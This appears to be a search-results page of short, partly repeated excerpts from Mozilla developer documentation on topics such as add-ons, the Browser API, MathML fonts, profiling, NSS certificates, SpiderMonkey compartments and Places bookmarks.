...ts. It takes data from the system folder lib/visual_scripts/ and generates your code. RESOURCE JS objects Used for adding images for animation purposes. This is done using server_instance/res.js. You need to put your images in a folder, for example TEST_RES/ , inside project_instance/res/. Next, run the command server_instance/node res.js. After this has finished processing, restart the
web page by entering the following in the console: RESOURCE.TEST_RES. RESOURCE objects contain the path data for all your images. The actual image objects will be created after you add animation to the game objects. This is good because it is memory safe. VISUAL JS.exe Windows GUI freeware Only for Windows users. Contains the following tools. Visual_JS.exe Version 1.0 -- comes with source ed...
Game development
Gaming is one of the most popular computer activities. New technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant
web browser. Develop
web games Welcome to the MDN game development center! In this area of the site, we provide resources for
web developers wanting to develop games. You will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore. We've also included a reference section so you can easily find information about all the most common APIs used in game development. Note: Creating games on the
web draws on a number of core
web technologies such as HTML, CSS, and JavaScript. The Learning Area is a good place to go to get started with the basi...
... in the main menu on the left, so feel free to explore. We've also included a reference section so you can easily find information about all the most common APIs used in game development. Note: Creating games on the
web draws on a number of core
web technologies such as HTML, CSS, and JavaScript. The Learning Area is a good place to go to get started with the basics. Port native games to the
Web If you are a native developer (for example writing games in C++), and you are interested in how you can port your games over to the
Web, you should learn more about our Emscripten tool -- this is an LLVM to JavaScript compiler, which takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into asm.js, which can be run on the
Web. To get started, s...
...ler, which takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into asm.js, which can be run on the
Web. To get started, see: About Emscripten for an introduction including high-level details. Download and Install for installing the toolchain. Emscripten Tutorial for a tutorial to teach you how to get started. Examples For a list of
web game examples, see our examples page. Also, check out games.mozilla.org for more useful resources! ...
Accessibility and Mozilla
ion support. This guide was written from an ATK/AT-SPI point of view as part of the Orca Live Region Support project. However, many of the concepts were also used during the development of FireVox, an AT using IAccessible2.Accessible Toolkit ChecklistPlease contact the Mozilla Accessibility Community with questions or feedback.CSUN Firefox MaterialsFirefox 1.5 is a fast, free, standards compliant
web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the
web. In addition to winning major awards such as PC World Product of the Year, Firefox has attracted a huge following among savvy users who simply care enough about their
web browsing experience to download a new piece of software.
Websites such as online magazines with sophisticated audiences are now...
...nments and Other Organizations Evaluating MozillaInformation for usersFirefox 2 now has help topics (From the menubar: ? > Help Contents F1 > Accessibility Features) which describe any special features and keyboard shortcuts designed to help users with disabilities. Please check the Accessibility help topic for more information.Links and ResourcesHere are some useful links for those interested in
web accessibility as well as open source accessibility.Mozilla accessibility architectureThis page is maintained by Aaron Leventhal and by the Mozilla Accessibility Community. Feedback and constructive suggestions are encouraged.Mozilla Plugin AccessibilityPlugins in Gecko-based browsers have a lot of accessibility issues. Here is a rundown of problems and the planned solutions:Mozilla's Section 508 ...
...raged.Mozilla Plugin AccessibilityPlugins in Gecko-based browsers have a lot of accessibility issues. Here is a rundown of problems and the planned solutions:Mozilla's Section 508 ComplianceMozilla's UAAG evaluation reportThe UAAG document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be implemented by any user agent, i.e. software that renders
web content. The UAAG is not the basis for any government accessibility regulations at this time.Multiprocess on WindowsA high-level overview of the ideas behind the a11y+e10s design is available on the wiki.Software accessibility: Where are we today?The accessibility of computer software has seen drastic improvements over the past two decades. This article reviews the progress and technology as it h...
Frequently Asked Questions for Lightweight themes
There are hundreds of thousands community-designed themes to choose from, with more added every day. Start looking here for designs that fit your style. What kind of computers and operating systems do Lightweight themes work with? Lightweight themes work with any type of computer that has Firefox installed. This includes Mac, Linux, Windows, and Android platforms. ...
...ms. What can Lightweight themes do? Lightweight themes change the header area of your browser, including the tab text color and the background tab colors. You can easily preview a design and install it without needing to restart. Installing Lightweight themes How do I add Lightweight themes to my Firefox? In just a few seconds, you can install a theme and transform the look of your Firefox
web browser. Preview any theme by clicking "Tap to Preview"; the design appears in your browser header so you can "try it on." When you're ready, just click the blue Install Theme button. Once a theme is installed, it is saved in the Add-ons Manager, where you can enable or disable them as you wish. Simply go to the Tools > Add-ons menu and click on the Appearance tab. Are Lightweight themes free? ...
...ry, you can access it from the Submissions dashboard. From there, you can view your current designs. By clicking on each, you can make changes to each design's settings. What's the maximum file size allowable for my Lightweight theme? The theme you upload may not exceed 300 KB for the header or the footer image. Couldn't find the answer you're looking for? Consider visiting the Firefox support
website or the Themes forum for more help. ...
Add-ons
Add-ons allow developers to extend and modify the functionality of Firefox. They are written using standard
Web technologies - JavaScript, HTML, and CSS - plus some dedicated JavaScript APIs. Among other things, an add-on could: Change the appearance or content of particular
websites Modify the Firefox user interface Add new features to Firefox There are several types of add-ons, but the most common type are extensions. Developing extensions In the past, there were several toolsets for developing Firefox extensions, but as of November 2017, extensions must be built using
WebExtensions APIs. ...
...In most cases, it will run in Chrome, Edge, and Opera with few if any changes. ...
...enterprise guide for developing and using extensions How to develop themes for Firefox Firefox developer communities Extensions for Firefox for Android In 2020, Mozilla will release a new Firefox for Android experience. This new, high-performance browser for Android has been rebuilt from the ground up using GeckoView, Mozilla's mobile browser engine. We are currently building support for the
WebExtensions API on GeckoView. Migrate an existing extension If you maintain a legacy extension, such as an XUL overlay, bootstrapped, or Add-on SDK-based extension, you can still port it to use
WebExtension APIs. There are some porting resources on Firefox Extension Workshop, our site for Firefox-specific development resources. For more information about transition support, please visit our wik...
Interface Compatibility
Any changes, including new features, must have super-review. One exception to this rule is APIs which are explicitly shipped with Mozilla prefixes as a technology preview. This includes CSS properties that begin with the -moz- prefix (e.g. ...
...Any changes, including new features, must have super-review. ...
...Any changes, including new features, must have super-review. One exception to this rule is APIs which are explicitly shipped with Mozilla prefixes as a technology preview. This includes CSS properties that begin with the -moz- prefix (e.g. ...
Reviewer Checklist
In C++, wrapper-cache as needed. ...
... In C++, wrapper-cache as needed. ...
...n The commit message should describe what the patch is changing (not be a copy of the bug summary). The first line should be a short description (since only the first line is shown in the log), and additional description, if needed, should be present, properly wrapped, in later lines. Adequately document any potentially confusing pieces of code. Flag a bug with dev-doc-needed if any addon or
web APIs are affected. Use Javadocs extensively, especially on any new non-private methods. When moving files, ensure blame/annotate is preserved. Accessibility For HTML pages, images should have the alt attribute set when appropriate. Similarly, a button that is not a native HTML button should have role="button" and the aria-label attribute set. [Fennec: Make sure contentDescription is set f...
Performance best practices for Firefox front-end engineers
interrupted, and the entire layout calculation occurs. Reflows that are triggered "naturally" by the 16ms tick are all considered interruptible. Despite not actually being interuptible when laying out chrome UI, striving for interruptible layout is always good practice because uninterruptible layout has the potential to be much worse (see next section). To repeat, only interruptible reflows in
web content can be interrupted. Uninterruptible reflow Uninterruptible reflow is what we want to avoid at all costs. Uninterruptible reflow occurs when some DOM node's styles have changed such that the size or position of one or more nodes in the document will need to be updated, and then JavaScript asks for the size or position of anything. Since everything is pending a reflow, the answer isn't av...
...ayout calculation; still, the more you can avoid, the better. Generally speaking, the larger an area that needs to be repainted, the longer it takes. Similarly, the more things that need to be repainted, the longer it takes. Our graphics team has added a handy feature to help you detect when and where paints are occurring. This feature is called "paint flashing," and it can be activated for both
web content and the browser chrome. Paint flashing tints each region being painted with a randomly selected color so that it's more easy to see what on the screen is being painted. You can activate paint flashing for browser chrome by setting nglayout.debug.paint_flashing_chrome to true. You can activate paint flashing for
web content by setting nglayout.debug.paint_flashing to true. After enab...
...ent on the explicit definition. See this comment and a few previous comments on that bug for more information. Use IndexedDB for storage AppCache and LocalStorage are synchronous storage APIs that will block the main thread when you use them. Avoid them at all costs! IndexedDB is preferable, as the API is asynchronous (all disk operations occur off of the main thread), and can be accessed from
web workers. IndexedDB is also arguably better than storing and retrieving JSON from a file--particularly if the JSON encoding or decoding is occurring on the main thread. IndexedDB will do JavaScript object serialization and deserialization for you using the structured clone algorithm, meaning that you can stash things like maps, sets, dates, blobs, and more, without having to do conversions for JS...
Firefox and the "about" protocol
sing Start page when opening a private window about:profiles Display and manage Firefox profiles about:protections Privacy Protections report consisting of Enhanced Tracking Protection, Firefox Monitor and Firefox Lockwise data about:restartrequired A page users are sent to when Firefox requires a restart due to an update about:reader Indicates a
web page has Firefox Reader View turned on. See Firefox Reader View for clutter-free
web pages about:rights Displays rights information about:robots Special page showing notes about robots about:serviceworkers Displays currently running Service Workers about:studies Lists the Shield Studies that are installed about:sessionrestore Session res...
... The array maps most of the URLs, like config to URLs in the chrome: pseudo protocol, such as chrome://global/co...
... The array maps most of the URLs, like config to URLs in the chrome: pseudo protocol, such as chrome://global/content/config.xul. The about...
Browser API
It currently works in (privileged) chrome code on Firefox desktop (version 47 and above). Browser API concepts and usage The Browser API consists of two major parts: Custom <iframe> attributes: By adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. This means that window.top, window.parent, window.frameElement, etc. should not reflect the frame hierarchy. ...
...r <iframe>'s content. This is particularly useful for zooming in/out on non-touch-enabled devices. Events In order to allow an application to manage the browser <iframe>, the application can listen for new events about what's happening within the browser <iframe>. The following new events can be listened for: mozbrowseractivitydone Sent when something inside the browser <iframe> triggers a
web activity, and that
web activity's message is consumed by the receiving app. mozbrowserasyncscroll Sent when the browser <iframe> content scrolls (the APCZ version.) See also mozbrowserscroll. Note that this is obsolete. mozbrowseraudioplaybackchange Sent when audio starts or stops playing within the browser <iframe> content. mozbrowsercaretstatechanged Sent when the text selected inside the...
...the browser <iframe>'s content. mozbrowserloadend Sent when the browser <iframe> has finished loading all its assets. mozbrowserloadstart Sent when the browser <iframe> starts to load a new page. mozbrowserlocationchange Sent when a browser <iframe>'s location changes. mozbrowsermanifestchange Sent when a the path to the app manifest changes, in the case of a browser <iframe> with an open
web app embedded in it. mozbrowsermetachange Sent when a <meta> elelment is added to, removed from or changed in the browser <iframe>'s content. mozbrowseropenwindow Sent when window.open() is called within a browser <iframe>. mozbrowseropentab Sent when a new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/c...
Chrome-only API reference
Browser APIThe HTML Browser API is an extension of the HTML <iframe> element that allows
web apps to implement browsers or browser-like applications. ...
... Browser APIThe HTML Browser API is an extension of the HTML <iframe> element that allows
web apps to implement browsers or browser-like applications. ...
... This page lists APIs that only run in Gecko Chrome code (and sometimes in other privileged circumstances). Note: Most of the APIs exposed to the
Web in general are also usable in Chrome code: see
Web APIs for a list of these. Browser APIThe HTML Browser API is an extension of the HTML <iframe> element that allows
web apps to implement browsers or browser-like applications. It currently works in (privileged) chrome code on Firefox desktop (version 47 and above).ChromeWorkerIf you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using ChromeWorker instead of the standard Worker object. It works exactly like a standard Worker, except that it has access to js-ctypes via a global ctypes object availa...
Embedding the editor
ould need to do as little work as possible to get basic editing functionality, be able to have any number of <editor>s per window, and control whether those <editor>s are in HTML or plain text mode. Composer embedded in a native application In this application, the <iframe> on which the editor lives is embedded directly in the native application; this is equivalent to embedding the browser via nsI
WebBrowser, but instead having an editable document. The composer chrome (toolbars etc) may be implemented by the embedder using native widgets, or using some amount of XUL. That chrome needs to be configurable - dockable floating toolbars, toolbar shared between composer widgets, or 1 per widget. This type of embedding requires that the composer code is agnostic to where its UI is coming from; commu...
...oser widgets, or 1 per widget. This type of embedding requires that the composer code is agnostic to where its UI is coming from; communication between the core editor and the UI needs to go through one or more interfaces that insulate the editor from its host application. (The current nsEditorShell makes assumptions about the hosting XUL document, which need to be broken.) Composer embedded in a
web page (<htmlarea>) IE 5 supports the <HTMLArea> element; if Mozilla is to support something similar, editor needs to be embeddable to the extent that this can be done. It is likely that we'd use XBL to implement this type of widget, as is the plan for other form controls. As is the case for composer embedded in a native application, there is a requirement here that the composer UI be configurable,...
...related class. You should be able to QI from nsIDocShell to one of these; if this succeeds, it indicates that the frame is editable. nsIEditorFrame should contain methods for getting the editing session, and doing some generic editor-related stuff (probably common to HTML and plain text editing). A subset of nsIEditorShell will probably move into this interface. (This would be analogous to the nsI
WebNavigation interface used for a browser.) When we have one editor per docShell, loading a frameset document, or a page with an <iframe> in composer, will instantiate more than one low-level editor. We need a concept of an "editing session" - a single top-level document which is editable, and which may embody more than one editor. This interface will be called nsI????. High-level UI and emebedd...
Gecko
In XUL-based applications Gecko also renders the application's user interface. Gecko is used in many applications, including a few browsers such as Firefox and SeaMonkey (for a complete list, please refer to Wikipedia's article on Gecko). Products using the same version of Gecko have identical support for
Web standards. ...
...ontent, such as HTML, CSS, XUL, JavaScript, and render it on the user's screen or print it. In XUL-based applications Gecko also renders the application's user interface. Gecko is used in many applications, including a few browsers such as Firefox and SeaMonkey (for a complete list, please refer to Wikipedia's article on Gecko). Products using the same version of Gecko have identical support for
Web standards. Documentation Chrome This page contains information specific to browser chrome (not Google Chrome) code running in Gecko. Gecko FAQ Frequently asked questions about Gecko. Gecko DOM reference Reference to the DOM. Gecko event reference Reference to events used within Gecko and Mozilla applications; for
web-standar...
... A list of the character sets supported by Gecko. ...
Internationalized Domain Names (IDN) Support in Mozilla Browsers
andardized support for handling non-ASCII characters in domain names. How IDN Works When a browser sees a host name such as http://developer.mozilla.org, it passes a request to the DNS resolver service (usually built into an OS), which in turn sends a request to a nearest domain name server to return an IP address that corresponds to the host name. ...
...illa.org, it passes a request to the DNS resolver service (usually built into an OS), which in turn sends a request to a nearest domain name server to return an IP address that corresponds to the host name. This IP address is then used to connect to the
web server in question. IDN allows host/domain names with non-ASCII characters for user input into a browser's location bar or URL's embedded in
web pages. At the network protocol level, there is no change in the restriction that only a subset of ASCII characters be used in URL/URI. If end users input non-ASCII characters as part of a domain name or if a
web page contains a link using a non-ASCII domain name, the application must convert such input into a special encoded format using only the usual ASCII subset characters. RFC 3490 (Internati...
...ch Full-width Japanese Roman characters are not normalized to ASCII roman characters. (Cf. bug 210734.) This forces the Japanese user to shift out of the Japanese input mode to write the top domain names such as .jp causing inconvenience. For other bugs, see this link. IDN is a global trend and is likely to be adopted by a large number of sites making it easier for average Internet users to find
web sites. Many
web sites around the world are expected to register native language host names with the appropriate domain name registrars for their top domains. Netscape 7.1 and Mozilla 1.4 are playing a significant role in aiding the development of IDN further. Original Document Information Author(s): Katsuhiko Momoi Last Updated Date: 03 Jul 2003 Learn moreEdit General knowledge Emoj...
AddonManager
g mimetype, in string hash, in string name, in string iconURL, in string version, in nsILoadGroup loadGroup) Promise? getInstallForFile(in nsIFile file, in InstallCallback? callback, in string mimetype) Promise? getAllInstalls(in InstallListCallback? callback) Promise? getInstallsByTypes(in string types[], in InstallListCallback? callback) void installAddonsFrom
Webpage(in string mimetype, in nsIDOMWindow source, in nsIURI uri, in AddonInstall installs[]) void addInstallListener(in InstallListener listener) void removeInstallListener(in InstallListener listener) Promise? getAllAddons(in AddonListCallback? callback) Promise? getAddonByID(in string id, in AddonCallback? callback) Promise? getAddonBySyncGUID(in strin...
...rray of AddonInstalls getInstallsByTypes() Asynchronously gets all current AddonInstalls optionally limiting to a list of types. Promise? getInstallsByTypes( in string types[], in InstallListCallback? callback ) Parameters types An optional array of types to retrieve. Each type is a string name. callback A callback which will be passed an array of AddonInstalls. ...
...nstalls optionally limiting to a list of types. Promise? getInstallsByTypes( in string types[], in InstallListCallback? callback ) Parameters types An optional array of types to retrieve. Each type is a string name. callback A callback which will be passed an array of AddonInstalls. installAddonsFrom
Webpage() Starts installation of an array of AddonInstall notifying the registered
web install listener of blocked or started installs. void installAddonsFrom
Webpage( in string mimetype, in nsIDOMWindow source, in nsIURI uri, in AddonInstall installs[] ) Parameters mimetype The mimetype of add-ons being installed source The nsIDOMWindow that started the installs uri The nsIURI that started the installs installs The array of AddonInstalls to be installed addIn...
FxAccountsOAuthClient.jsm
The FxAccountsOAuthClient.jsm JavaScript module provides a way for browser services to authenticate with the Firefox Accounts OAuth server. Components.utils.import("resource://gre/modules/FxAccountsOAuthClient.jsm"); Creating a new FxAccountsOAuthClient new FxAccountsOAuthClient(Object options); Method overview launch
WebFlow(); tearDown(); Attributes parameters Object Returns the set of parameters that initialized the Firefox Accounts OAuth flow. onComplete Function Gets called when the Firefox Accounts OAuth flow successfully completes. First and only argument is an Object that has "state" and "code" properties. Constructor FxAccountsOAuthClient() Creates and returns a new FxAccountsOAuthClient object. FxAccountsOAuthClient FxAcc...
...[optional] action - If provided, should be either "signup" or "signin". parameters Set of parameters to initialize the Firefox Accounts OAuth flow. authorizationEndpoint Optional Optional authorization endpoint for the OAuth server. Default: /authorization Return value A newly created FxAccountsOAuthClient object implementing the methods described in this article. Methods launch
WebFlow() Opens a new tab at the Firefox Accounts OAuth authorization URL. Registers a
WebChannel listener and sets up a callback if needed. Parameters None tearDown() Call this function to manually release all channels and callbacks that are in use by this client. Parameters None Examples Using the FxAccountsOAuthClient Chrome code let parameters = { oauth_uri: OAUTH_SERVER_ENDPOIN...
...ing the FxAccountsOAuthClient Chrome code let parameters = { oauth_uri: OAUTH_SERVER_ENDPOINT, client_id: OAUTH_CLIENT_ID, content_uri: CONTENT_SERVER_URL, state: OAUTH_STATE } let client = new FxAccountsOAuthClient({ parameters: parameters }); client.onComplete = function (tokenData) { // tokenData consists of two properties: "tokenData.state" and "tokenData.code" }; client.launch
WebFlow(); ...
Fonts for Mozilla's MathML engine
Installation Instructions Windows Install the Latin Modern Math and STIX fonts as follows: Download latinmodern-math-1959.zip. ...
...kely to need these characters, we recommend to install the XITS or Amiri fonts. Installation without Administrator Privilege If you need to install fonts on a system without adminstrator privilege, the easiest option is to use math font the MathML-fonts add-on. Note that using the add-on is not optimal since it forces your Gecko browser to load a CSS stylesheet on each page you visit as well as
Web math fonts on all pages with MathML content. A better alternative on UNIX systems is to install the OTF files for Latin Modern Math and STIX into some local font folder and (if necessary) to run fc-cache on it. On OS X and Linux, the standard paths are ~/Library/Fonts/ and ~/.fonts. Fonts with a MATH table You can actually render MathML using any font with a MATH table and related Open Font For...
...s add-on. Asana Math Cambria Math DejaVu Math TeX Gyre Garamond Math (under development) Latin Modern Math Libertinus Math Lucida Bright Math Minion Math STIX Math TeX Gyre Bonum Math TeX Gyre Pagella Math TeX Gyre Schola Math TeX Gyre Termes Math XITS Math Fira Math (sans-serif typeface, under development) GFS Neohellenic Math (sans-serif typeface) Using mathematical fonts on
Web pages Starting with Gecko 31.0 (Firefox 31.0 / Thunderbird 31.0 / SeaMonkey 2.28), it is now easy to set up the CSS style (and optional WOFF fonts) to use on your
Web site. See the Authoring MathML page for details and try the MathML Torture Test. You can use FontForge and FontTools to edit the MATH table and create your own mathematical fonts. ...
Fonts for Mozilla 2.0's MathML engine
ows that have the necessary Unicode assignments. For other characters, Mozilla has font-specific support. In general, if the necessary glyphs are not available on the system then Mozilla tries to stretch symbols using scale transforms, but that may result in a less pleasant rendering. To see MathML as intended, you need sufficient font support, which may mean installing some fonts. Note that some
Web sites may provide the required mathematical fonts as
Web fonts. In that case, you will see the correct rendering on these pages if you use Gecko 15.0 (Firefox 15.0 / Thunderbird 15.0 / SeaMonkey 2.12) or greater. Recommended Fonts The STIX Fonts Project has been developing a comprehensive set of fonts that cover all the symbols in MathML and also contains glyphs to stretch mathematical operators.
...If necessary, you might want to modify ...
...ple with the following command: wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -O mathml-fonts.zip; \ unzip mathml-fonts.zip -d mathml-fonts Then copy the mathml-fonts/resource/ directory somewhere on your
Web site and ensure that the woff files are served with the correct MIME type. Finally, include the mathml-fonts/resource/mathml.css style sheet in your
Web pages, for example by adding the following rule to the default style sheet of your
Web site: @import url('/path/to/resource/mathml.css'); Browsers have default font-families in their User Agent stylesheets. If necessary, you might want to modify the font-family on the <math> elements and, for Gecko, the on ::-moz-math-stretchy pseudo element too. For example to force the use of STIX fonts: math {...
Power profiling overview
average power but this is often referred to as just the power when context makes it clear. In the context of computing, a fully-charged mobile device battery (as found in a laptop or smartphone) holds a certain amount of energy, and the speed at which that stored energy is depleted depends on the power consumption of the mobile device. That in turn depends on the software running on the device.
Web browsers are popular applications and can be power-intensive, and therefore can significantly affect battery life. As a result, it is worth optimizing (i.e. reducing) the power consumption caused by Firefox and Firefox OS. Intel processor basics Processor layout The following diagram (from the Intel Power Governor documentation) shows how machines using recent Intel processors are constructed.
...fox has improved or worsened over time on a particular workload. This can identify specific changes that caused regressions, for example. Compare different configurations of Firefox to see if a particular feature is affecting things. Compare different workloads. This can be particularly useful if the workloads only vary slightly. For example, it can be useful to gradually remove elements from a
web page and see how the power-related measurements change. Even just switching a tab from the foreground to the background can make a difference. High-context measurements A few power-related measurements can be obtained in a high-context fashion, e.g. with stack traces that clearly pinpoint specific parts of the code as being responsible. Standard performance profiling tools that measure CPU ...
...c, or Intel Power Gadget on Windows) for the comparisons. Avoid lower-quality measurements, especially Activity Monitor's "Energy Impact". Try using differential profiling to narrow down the cause. Try turning hardware acceleration on or off; e10s on or off; Flash on or off. Try putting the relevant tab in the foreground vs. in the background. If the problem manifests on a particular
website, try saving a local copy of the site and then manually removing HTML elements to see if a particular page feature is causing the problem Many power problems are caused by either high CPU usage or high wakeup frequency. Use one of the low-context tools to determine if this is the case (e.g. on Mac use powermetrics.) If so, follow that up by using a tool that gives high-context measuremen...
Profiling with the Firefox Profiler
nd can provide more information and insight into what the browser is doing. Using the Firefox Profiler Visit profiler.firefox.com to get started. It has instructions for enabling the profiler menu button, and getting going. There are also product docs available at profiler.firefox.com/docs/. In addition to profiler.firefox.com, the Firefox DevTools have a simplified interface targeted towards
web developers, but does not include as much information as the Firefox Profiler
web app. It is available from the menu at Tools >
Web Developer > Performance. Understanding Profiles The Firefox Profiler has more current documentation available at profiler.firefox.com/docs/. However the following could have some potentially useful information for Gecko-specific problems. You can check out some f...
... The timeline has several rows of tracing markers (colored segments) which indicate interesting events. Hover over them to see more information. Below the tracing markers are rows corresponding with activity on a variety of threads. Tip: Threads that are annotated with "[default]" are in the parent (aka "UI", aka "browser chrome", aka "main") process and those annotated with "[tab]" are in the
Web content (aka "child") processes. Tip: Long-running tasks in the parent process will block all input or drawing with the browser UI (aka "UI jank") whereas long-running tasks in the content process will block interactivity with the page but still allowing the user to pan and zoom around thanks to APZ. Tracing markers Red: These indicate that the event loop is being unresponsive. Note that ...
...ct it to a file to prevent printing it in your shell. The expected size of the output is around 100 of MB. To add symbols to your build, you need to call ./scripts/profile-symbolicate.py available in B2G repository. $ GECKO_OBJDIR=<objdir> PRODUCT_OUT=<objdir> TARGET_TOOLS_PREFIX= \ ./scripts/profile-symbolicate.py -o run.symb.cleo run.cleo Clone Cleopatra and start the server with ./run_
webserver.sh. Access Cleopatra from your
web browser by loading the page localhost:8000, and upload run.symb.cleo to render the profile with most of the symbol information. Native stack vs. label stack The profiler periodically samples the stack of the selected threads in Firefox and collects a stack trace. This stack trace is the combined stack of three different stacks: The native stack, the Ja...
L20n
pressive power of the natural language. L20n keeps simple things simple, and at the same time makes complex things possible. Through L20n, Mozilla is creating a new generation of technology that places more power in localizers' hands. L20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic. It allows to adapt your
web application not only to languages and cultures, but also contextual data, user gender and screen dimensions. What L20n looks like Here is a simple, straightforward example showing an English string being provided: <brandName "Firefox"> <about "About {{ brandName }}"> Here is the same string being provided in Slovenian: <brandName { nominative: "Firefox", genitive: "Firefoxa", dative:...
... L20n's HTML bindings Tutorial on implementing L20n in your HTML code. L20n JavaScript API An API for l20n.js. L20n syntax cheatsheet for developers A simple cheatsheet to help developers as they add L20n to their localization infrastructure. For Localizers Docume...
...tring being provided in Slovenian: <brandName { nominative: "Firefox", genitive: "Firefoxa", dative: "Firefoxu", accusative: "Firefox", locative: "Firefoxu", instrumental: "Firefoxom" }> <about "O {{ brandName.locative }}"> For Developers Documentation for developers wanting to implement localization functionality on their
web apps using L20n. Internationalization for your
web app First read for developers looking to use the L20n infrastructure. L20n's HTML bindings Tutorial on implementing L20n in your HTML code. L20n JavaScript API An API for l20n.js. L20n syntax cheatsheet for developers A simple cheatsheet to help developers as they add L20n to their localization infrastructure. For Localizers Documentation for Localizers creating localized content for ...
An overview of NSS Internals
consequence, it will be necessary to try multiple different alternative routes while searching for (Z), in a recursive manner. Only the newer verification engine (internally named libPKIX) is capable of doing that properly. ...
...tion engine (internally named libPKIX) is capable of doing that properly. It's worth mentioning the Extended Validation (EV) principle, which is an effort by software vendors and CAs to define a stricter set of rules for issuing certificates for
web site certificates. Instead of simply verifying that the requester of a certificate is in control of an administrative email address at the desired
web site's domain, it's required that the CA performs a verification of real world identity documents (such as a company registration document with the country's authority), and it's also required that a browser software performs a revocation check with the CA, prior to granting validity to the certificate. In order to distinguish an EV certificate, CAs will embed a policy OID in the certificate, and...
...stinguish an EV certificate, CAs will embed a policy OID in the certificate, and the browser is expected to verify that a trust chain permits the end entity (EE) certificate to make use of the policy. Only the APIs of the newer libPKIX engine are capable of performing a policy verification. That's a good opportunity to talk about SSL/TLS connections to servers in general (not just EV, not just
websites). Whenever this document mentions SSL, it refers to either SSL or TLS. (TLS is a newer version of SSL with enhanced features.) When establishing an SSL connection to a server, (at least) a server certificate (and its trust chain) is exchanged from the server to the client (e.g., the browser), and the client verifies that the certificate can be verified (including matching the name of the ...
Shumway
-- and what it means for the community of developers currently creating the Adobe Flash platform. The project is not exactly a developer tool but it is something that content creators should test against (and report bugs or performance issues to). For even more information, please refer to the external links. The whats and whys of Shumway Shumway is a renderer for Adobe Flash built entirely in
Web Standards (JavaScript,
WebGL, and others). It is currently available as an extension and as a component in Firefox's Nightly builds that can be enabled through about:config (you need to find the shumway.disabled preference and set it to false). It is expected to be included in Firefox at some point to allow plugin-free compatibility with SWF-based games and animations. Shumway has certain limitat...
... Adobe Flash Player disabled (or set to "click-to-enable") for performance or security reasons. There might be a time where users want to experience your content but Flash is no longer supported by Adobe. To emphasize a point: the current behavior is that Shumway works on any SWF file unless (or until) the Adobe Flash Player plugin is activated. Shumway is made with the same constraints as any
website. Users who disable Flash because of security or performance concerns can still see content through Shumway because it cannot be forced to behave worse than JavaScript (and
WebGL, etc.) allows. Users with Shumway enabled will still see your Flash content, if compatible with Shumway, even if Flash Player is installed but blocked. Testing and what to do in case of trouble The first step is to ...
...layer set "Ask to Activate" or "Never Activate" in Firefox's Add-ons menu (this will be listed as "Shockwave Flash" under the Plugins tab). This will be the experience met by your users who are running that version of Shumway. Hopefully, this displays your content with acceptable quality. The next step is to use the Inspector included as one of Shumway's examples. It can be run locally through a
web server or you can use the version hosted on Mozilla's GitHub. Several methods exist to allow Inspector access to your SWF file. Once your Flash content is loaded, you can see how Shumway manages it in detail. Several buttons are available at the bottom of the screen to enable or disable various Shumway options. Note: If your applet runs at an abnormal speed, try toggling "Turbo" at the bottom o...
SpiderMonkey compartments
another compartment, except through a cross-compartment wrapper. Compartment Example The Firefox browser embeds SpiderMonkey. In Firefox 4 and above, compartments are used and all JavaScript objects that belong to a certain origin (such as "http://mail.google.com/" or "http://www.bank.com/") are placed in a separate compartment. This has some important implications: All objects created by a
website reside in the same compartment and hence are located in the same memory region. This improves cache utilization by reducing false sharing of cache lines. False sharing occurs when we are trying to operate on an object and we have to read an entire cache line of data into the CPU cache. In the old model, JavaScript objects could be co-located with arbitrary other JavaScript objects from other ...
...se sharing occurs when we are trying to operate on an object and we have to read an entire cache line of data into the CPU cache. In the old model, JavaScript objects could be co-located with arbitrary other JavaScript objects from other origins. Such cross-origin objects are used together very infrequently, which reduces the number of cache hits we get. In the new model most objects touched by a
website are tightly packed next to each other in memory, with no cross-origin objects in between. JavaScript objects (including JavaScript functions, which are objects also) are only allowed to touch objects in the same compartment. This invariant is very useful for security purposes. The JavaScript engine enforces this requirement at a very low level. It means that a "google.com" object can never ...
... other in memory, with no cross-origin objects in between. JavaScript objects (including JavaScript functions, which are objects also) are only allowed to touch objects in the same compartment. This invariant is very useful for security purposes. The JavaScript engine enforces this requirement at a very low level. It means that a "google.com" object can never accidentally leak into an untrusted
website such as "evil.com". Only a special object type can cross the compartment boundaries. We call these objects cross-compartment wrappers. SpiderMonkey tracks the creation of these cross-compartment wrappers and thus it knows at all times what objects from a compartment are kept alive by outside references (through cross-compartment wrappers). This allows the garbage collecting of individual comp...
Manipulating bookmarks using Places
d using an nsIURI object. var ios = Components.classes["@mozilla.org/network/io-service;1"] .getService(Components.interfaces.nsIIOService); var uri = ios.newURI("http://google.com/", null, null); var newBkmkId = bmsvc.insertBookmark(newFolderId, uri, bmsvc.DEFAULT_INDEX, ""); This example instantiates the nsIIOService and uses it to create an nsIURI referring to the Google
web site, then calls nsINavBookmarksService.insertBookmark() to create a new bookmark to Google, placing it at the end of the bookmarks folder referenced by newBkmkId. Finding bookmark items If you know the URI of a site and wish to find all bookmarks that link to it, you can use the nsINavBookmarksService.getBookmarkIdsForURI() method. var ios = Components.classes["@mozilla.org/network/io-service...
...etBookmarkURI(newBkmkId); Assuming you've run all the code samples previous to this one, this will output "http://google.com". You can use the nsINavBookmarksService.changeBookmarkURI() method to update the URI for a given bookmark item: var uri = ios.newURI("http://mozilla.com/", null, null); bmsvc.changeBookmarkURI(newBkmkId, uri); This example changes the bookmark to refer to the Mozilla
web site instead of Google. Note: All annotations, tags, and so forth are kept when the bookmark's URI is changed. Checking to see if a URI is bookmarked If you want to see if a given URI is already bookmarked -- for example, to avoid creating a new bookmark for a site that's already bookmarked -- you can use the nsINavBookmarksService.isBookmarked() method. var ios = Components.classes["@mozilla...
...d() method. var ios = Components.classes["@mozilla.org/network/io-service;1"] .getService(Components.interfaces.nsIIOService); var uri = ios.newURI("http://mozilla.com/", null, null); if (!bmsvc.isBookmarked(uri)) { bmsvc.insertBookmark(bmsvc.toolbarFolder, uri, bmsvc.DEFAULT_INDEX, "Mozilla"); } This example looks to see if the user already has a bookmark for the Mozilla
